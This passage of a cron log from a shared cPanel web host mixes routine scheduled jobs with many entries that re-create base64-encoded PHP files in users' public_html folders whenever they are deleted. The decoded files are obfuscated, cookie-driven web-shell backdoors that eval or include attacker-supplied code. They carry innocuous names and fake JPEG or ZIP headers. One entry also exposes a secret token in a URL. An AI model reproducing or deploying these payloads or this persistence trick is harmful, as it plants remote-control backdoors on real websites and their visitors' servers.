aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:12:01 medusa CROND[9500]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:12:01 medusa CROND[9513]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:12:01 medusa CROND[9514]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:12:01 medusa CROND[9517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:12:01 medusa CROND[9521]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:12:01 medusa CROND[9512]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:12:01 medusa CROND[9511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:13:01 medusa CROND[31575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:13:02 medusa CROND[31775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:13:02 medusa CROND[31852]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:13:02 medusa CROND[31853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:13:02 medusa CROND[31855]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:13:02 medusa CROND[31858]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:13:02 medusa CROND[31859]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:13:02 medusa CROND[31861]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:13:02 medusa CROND[31862]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:13:02 medusa CROND[31864]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:13:02 medusa CROND[31870]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:13:02 medusa CROND[31865]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:13:02 medusa CROND[31873]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:13:02 medusa CROND[31876]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 09:14:02 medusa CROND[16201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:14:02 medusa CROND[16368]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:14:02 medusa CROND[16369]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:14:02 medusa CROND[16371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:14:02 medusa CROND[16373]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:14:02 medusa CROND[16374]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:14:02 medusa CROND[16376]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:14:02 medusa CROND[16385]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:14:02 medusa CROND[16387]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:14:02 medusa CROND[16388]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:14:02 medusa CROND[16390]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:14:02 medusa CROND[16384]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
